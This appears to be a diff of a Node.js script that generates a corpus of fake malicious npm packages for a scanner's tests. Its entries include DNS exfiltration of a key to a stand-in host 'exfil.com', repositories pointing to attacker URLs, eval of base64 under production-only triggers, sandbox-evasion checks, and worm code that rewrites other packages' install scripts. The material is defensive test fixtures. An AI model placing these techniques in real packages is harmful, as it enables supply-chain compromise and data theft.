{ name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
|
|
10
|
-
{ name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
|
|
11
|
-
{ name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
|
|
12
|
-
{ name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
|
|
13
|
-
{ name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
|
|
14
|
-
{ name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
|
|
15
|
-
{ name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
|
|
16
|
-
{ name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
|
|
17
|
-
{ name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
|
|
18
|
-
{ name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
|
|
19
|
-
{ name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
|
|
20
|
-
{ name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
|
|
21
|
-
];
|
|
22
|
-
|
|
23
|
-
for (const mal of MALS) {
|
|
24
|
-
const dir = join(BASE, mal.name);
|
|
25
|
-
rmSync(dir, { recursive: true, force: true });
|
|
26
|
-
mkdirSync(dir, { recursive: true });
|
|
27
|
-
writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
|
|
28
|
-
if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
|
|
29
|
-
execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
|
|
30
|
-
console.log(`OK ${mal.name}`);
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
console.log('All mal corpus entries generated.');
|
|
34
|
-
console.log('Total:', MALS.length);
|
|
35
|
-
console.log('New entries: tamper-1, tamper-2, dormant-1, dormant-2, dormant-3, evasion-1, evasion-2, evasion-3');
|